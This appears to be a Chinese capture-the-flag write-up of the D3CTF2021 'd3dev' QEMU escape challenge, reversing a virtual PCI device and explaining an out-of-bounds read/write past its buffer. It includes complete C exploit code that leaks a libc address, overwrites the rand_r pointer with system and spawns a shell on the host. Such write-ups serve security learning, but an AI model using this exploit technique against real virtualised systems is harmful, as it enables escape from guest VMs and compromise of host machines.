【qemu逃逸】D3CTF2021-d3dev

前言

题目给的是一个 docker 环境,所以起环境非常方便,但是该怎么调试呢?有无佬教教怎么在 docker 中调试?

我本来想着直接起一个环境进行调试,但是缺了好的库,所以就算了,毕竟本题也不用咋调试。

然后题目是带符号的,所以设备定位就不说了;然后这一题我存在一些疑问,后面在总结部分会讲,希望有佬可以解答。

设备逆向

题目注册了 mmio 和 pmio,先来看看实例结构体:

【qemu逃逸】D3CTF2021-d3dev_第1张图片

blocks 就是我们之后操作的 buf,然后再其后面有一个 rand_r 函数指针,所以老套路了,多半都是越界读写这个函数指针去控制程序执行流。

 d3dev_pmio_read 函数

【qemu逃逸】D3CTF2021-d3dev_第2张图片

比较简单,就是去读取 d3devState 中的某些字段。

d3dev_pmio_write 函数

【qemu逃逸】D3CTF2021-d3dev_第3张图片

该函数有两个跟后面利用相关的功能,第一个是可以设置 seek 最大为 0x100;第二个是可以调用 rand_r(r_seed),并且 r_seed 是直接可控的;然后还可以设置 key 为 0,这个 key 是后面 tea 加密的密钥。

d3dev_mmio_read 函数

【qemu逃逸】D3CTF2021-d3dev_第4张图片

该函数就是去读取 blocks 中的数据,但是会进行 tea 加密,tea 加密很好解决,我们可以利用 d3dev_pmio_read 去直接把 key 读出来,也可以通过 d3dev_pmio_write 去把 key 直接设置为 0。

这里存在一个比较明显的漏洞,blocks 数组的大小为 257,虽然在 mmio 中会检查 addr 的范围。mmio 的大小是 0x800,而 blocks 为 qword 数组,刚好也是 0x800 字节,所以通过 addr 可以读取到 blocks 的末尾,但是我们可以去设置 seek,这样就可以越界读 0x800 字节了。

d3dev_mmio_write 函数

【qemu逃逸】D3CTF2021-d3dev_第5张图片

同理该函数存在越界写。

漏洞利用

很明显了,在上面说了在 blocks 后面存在 rand_r 函数指针,而该指针指向的是 libc 中的地址:

【qemu逃逸】D3CTF2021-d3dev_第6张图片

所以通过越界读可以去泄漏 libc 地址,从而计算出 system 地址。

然后通过越界写去修改 rand_r 函数指针指向 system。

 然后触发 rand_r(r_seed) 即可造成任意命令执行(这里 r_seed 是可控的,可以看下上面的源码)

exp 如下:

#include 
#include 
#include 
#include 
#include 
#include 
#include 

void * mmio_base = 0;
void * pmio_base = 0xc040;
void mmio_init()
{
        int fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR);
        if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);
        mmio_base = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
        if (mlock(mmio_base, 0x1000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}

uint64_t mmio_read(uint64_t offset)
{
        return *(uint64_t*)(mmio_base + (offset << 3));
}

void mmio_write(uint64_t offset, uint64_t val)
{
        *(uint64_t*)(mmio_base + (offset << 3)) = val;
}

void pmio_init()
{
        if (iopl(3) < 0) puts("[X] iopl for pmio"), exit(EXIT_FAILURE);
}

void pmio_write(uint64_t addr, uint64_t val)
{
        outl(val, pmio_base+addr);
}

void enc(uint32_t data[2])
{
        uint32_t delta = 0xC6EF3720;
        do {
                data[1] -= (data[0]+delta) ^ (data[0] >> 5) ^ (data[0] << 4);
                data[0] -= (data[1]+delta) ^ (data[1] >> 5) ^ (data[1] << 4);
                delta += 0x61C88647;
        } while(delta);
}

void dec(uint32_t data[2])
{
        uint32_t delta = 0;
        do {
                delta -= 0x61C88647;
                data[0] += (data[1]+delta) ^ (data[1] >> 5) ^ (data[1] << 4);
                data[1] += (data[0]+delta) ^ (data[0] >> 5) ^ (data[0] << 4);
        } while(delta != 0xC6EF3720);

}


uint64_t arb_read(uint64_t offset)
{
        uint64_t enc_addr = mmio_read(offset);
        printf("[+] enc_addr: %#p\n", enc_addr);
        dec(&enc_addr);
        return enc_addr;
}



int main(int argc, char** argv, char** envp)
{
        mmio_init();
        pmio_init();

        pmio_write(4, 0);
        pmio_write(8, 0x100);

        uint64_t rand_r_addr = arb_read(3);
        printf("[+] rand_r addr: %#p\n", rand_r_addr);

        uint64_t system_addr = rand_r_addr - 0x47D30 + 0x52290;
        printf("[+] system addr: %#p\n", system_addr);

        enc(&system_addr);
        mmio_write(3, system_addr);
        printf("[+] now rand_r: %p", arb_read(3));
        pmio_write(28, 0x6873);

        return 0;
}

效果如下:

【qemu逃逸】D3CTF2021-d3dev_第7张图片

总结与疑问

在 CTF 中,qemu 的题目还是多为数组越界,还没接触到堆的题目,比较菜啦。

然后就是这里 mmio_read 我很懵逼,这里 mmio_read 读取的字节数好像是由用户决定的:

【qemu逃逸】D3CTF2021-d3dev_第8张图片

因为这里 low_data 是 unsigned_int ,所以返回值最高4字节应该为0,但是你会发现这里可以直接返回一个完整的内容。

这里好像是当你读取 8 字节时,qemu 会自动读取两次,具体原因我也不是很清楚。 

你可能感兴趣的:(虚拟机逃逸,qemu逃逸)